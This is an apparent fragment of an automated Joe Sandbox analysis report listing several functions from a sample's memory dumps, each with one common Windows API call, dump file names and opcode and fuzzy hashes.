Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: c4281a0cdfa3d2701b742d655c2b5b788ab6edb82f8f75d7260df4a5ab0aa777
Instruction ID: 0d7cb98d40b84397e77a36822e0b76a33137977060872e8501be700059fc8ba3
Opcode Fuzzy Hash: c4281a0cdfa3d2701b742d655c2b5b788ab6edb82f8f75d7260df4a5ab0aa777
Instruction Fuzzy Hash: E0E1F771F04244ABDF15FB78CD4B7AE7AA1AB42720F94069CE4156B3C2DB754E8187C2

Function 00ACD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00ACA813,00000001,00000364,00000006,000000FF,?,00ACEE3F,?,00000004,00000000,?,?), ref: 00ACD871

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bc37b3bcca7bbf5a67225ad9549bda1a88b2e6480603200e4dc6f5117374b926
Instruction ID: a81fcedbeb77b3ef99929ffdfbbd88707d37350d1d19a314110b4bfbfad1575a
Opcode Fuzzy Hash: bc37b3bcca7bbf5a67225ad9549bda1a88b2e6480603200e4dc6f5117374b926
Instruction Fuzzy Hash: E0F05E32605225A6EF216B769D05F6B7B69DB857B0B1B8539BD08A7181DA20DC0187E0

Function 00A987B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00A9DA1D,?,?,?,?), ref: 00A987B9

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 482623012ed9a628b865ac22f31675c946556be39475442d0f676992d17afbd9
Instruction ID: 48da7a79f3e16ee657bfc73f339918a6f2d96712baa4045eeba8fc965f21d675
Opcode Fuzzy Hash: 482623012ed9a628b865ac22f31675c946556be39475442d0f676992d17afbd9
Instruction Fuzzy Hash: 56C08C2821260006ED1C16B801988A833C5494B7E47F42B84E4714B2F1CA3D5847D650

Function 00A987B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00A9DA1D,?,?,?,?), ref: 00A987B9

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b2e46ac010daf5ddbccb38497d6d47973aa9bacae13603d88165177187f231e3
Instruction ID: cbc99a92a89bbb73f5e770ca96087dc128ad00a2d3856385ccfe88380102f361
Opcode Fuzzy Hash: b2e46ac010daf5ddbccb38497d6d47973aa9bacae13603d88165177187f231e3
Instruction Fuzzy Hash: CEC08C3821220046EE1C5BB8419882432859A077683F01B88E4324B2F1CB3EC443CAA0

Function 00A9B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A9B3C8

Memory Dump Source

Source File: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000000.00000002.2055331661.0000000000A90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055475326.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055917453.0000000000AF9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055930884.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055945089.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055958026.0000000000B06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055970615.0000000000B07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056424796.0000000000C6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056439248.0000000000C6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056458100.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056471289.0000000000C84000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056484384.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056515896.0000000000C94000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056926841.0000000000C96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056948803.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2056962782.0000000000CAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2057674961.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058264987.0000000000CC3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058369990.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058469274.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058488436.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058503194.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058536209.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058578719.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058593930.0000000000D05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058610825.0000000000D0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058625781.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058640372.0000000000D15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058655942.0000000000D1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058670799.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058686714.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058700484.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058715617.0000000000D2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058734939.0000000000D2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058749700.0000000000D34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058763296.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058808857.0000000000D9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058823682.0000000000D9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058839077.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058853786.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058867551.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058883767.0000000000DB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2058897103.0000000000DB6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a6b3c3f8cb9d9719381b69384f0178cc90d77875e76f841153669edcf374e48c
Instruction ID: 06757fab1b6ae9eeb53aa41551389fd47525b995247dc6ef77fb256f220c08d0
Opcode Fuzzy Hash: a6b3c3f8cb9d9719381b69384f0178cc90d77875e76f841153669edcf374e48c
Instruction Fuzzy Hash: 2DB10570A10268DFEF28CF15C994BDEB7B5EF45304F5045D8E80A67281D775AA88CF90

Function 05380C5F Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

?y<, xrefs: 05380C3A

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID: ?y<
API String ID: 0-128774201
Opcode ID: fea59c69655627c0661187af21d7d4e3e25d7b1de375621392072dce428bbc14
Instruction ID: f02cfd8d6fd2c2d8e1e4ff030f694181db5e10941db364ad9f719557a50d5890
Opcode Fuzzy Hash: fea59c69655627c0661187af21d7d4e3e25d7b1de375621392072dce428bbc14
Instruction Fuzzy Hash: A41106EB00C310BD520EF8946A5DAF66BBFE5D27303318807F443CDC42D2494A4E42B1

Function 05380C1D Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

?y<, xrefs: 05380C3A

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID: ?y<
API String ID: 0-128774201
Opcode ID: 765c746dfde6438dc7a64a176a79a829c18fb93d9dd61113837c4b6f3470e853
Instruction ID: 40de984999a1ff1994eb4de963078f688e6a353e82e1c76975cea1d5317972c8
Opcode Fuzzy Hash: 765c746dfde6438dc7a64a176a79a829c18fb93d9dd61113837c4b6f3470e853
Instruction Fuzzy Hash: 6001DEAF00C324FD610DF8956B1DBFA6AAFE1C2B303318917F4038DC42D2958A4D11B1

Function 05380C0E Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

?y<, xrefs: 05380C3A

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID: ?y<
API String ID: 0-128774201
Opcode ID: 46f650c589289752a051c99059ba89c3c608cdb46f68f88295fa8763fe7d3e37
Instruction ID: 9713ef94f7d55d1e0ca27b72e3e2d87b536db7e3ccc23dc20ffaef3e6c15803f
Opcode Fuzzy Hash: 46f650c589289752a051c99059ba89c3c608cdb46f68f88295fa8763fe7d3e37
Instruction Fuzzy Hash: 7E019AEB04C324FD614EF8956B5CAFA6AAFA1D27303208917F4138ED42D399465D51B2

Function 05380C36 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

?y<, xrefs: 05380C3A

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID: ?y<
API String ID: 0-128774201
Opcode ID: 0bb360f94c2ef735356998fba421dfae2824a5703eb7bc260ff37a6edda24335
Instruction ID: ccd4b7298486f5de3b9aa6f4c0646f2e05e5fd1f8e8ad90f1e347ff6e9fb28d4
Opcode Fuzzy Hash: 0bb360f94c2ef735356998fba421dfae2824a5703eb7bc260ff37a6edda24335
Instruction Fuzzy Hash: 16018BAF04C324FD610DF9952B1CBFA6AAFA5C27303308817F403D9D02D2984A5D55B1

Function 05380C46 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976eff231442a81f7bdcfcba4098c0b7289bca167c22ee06698cd8c7c7d1dabc
Instruction ID: 09fee248e52ee00a46f7dfcd9047a3192a4905f287e3d53b2c303af99fedbacc
Opcode Fuzzy Hash: 976eff231442a81f7bdcfcba4098c0b7289bca167c22ee06698cd8c7c7d1dabc
Instruction Fuzzy Hash: A901DFFB10C314FEA11DF9916B5CAF6AABFE1D17303308916F45398C02D3A5464D5671

Function 05380C7F Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060669170.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c75628ed440d00c1e8c213978b26ed9a0e1aa64855f6a04115c97234cec8bf3
Instruction ID: 14b9d2e159b37a3cecea99182078d26d9c46a01e370b86f1f7031b023a32d13f
Opcode Fuzzy Hash: 1c75628ed440d00c1e8c213978b26ed9a0e1aa64855f6a04115c97234cec8bf3
Instruction Fuzzy Hash: 3FF06DEF10C324BD615DF5912B1DFF6AAAFE4D2B30330882BF417D9D029288464D5172

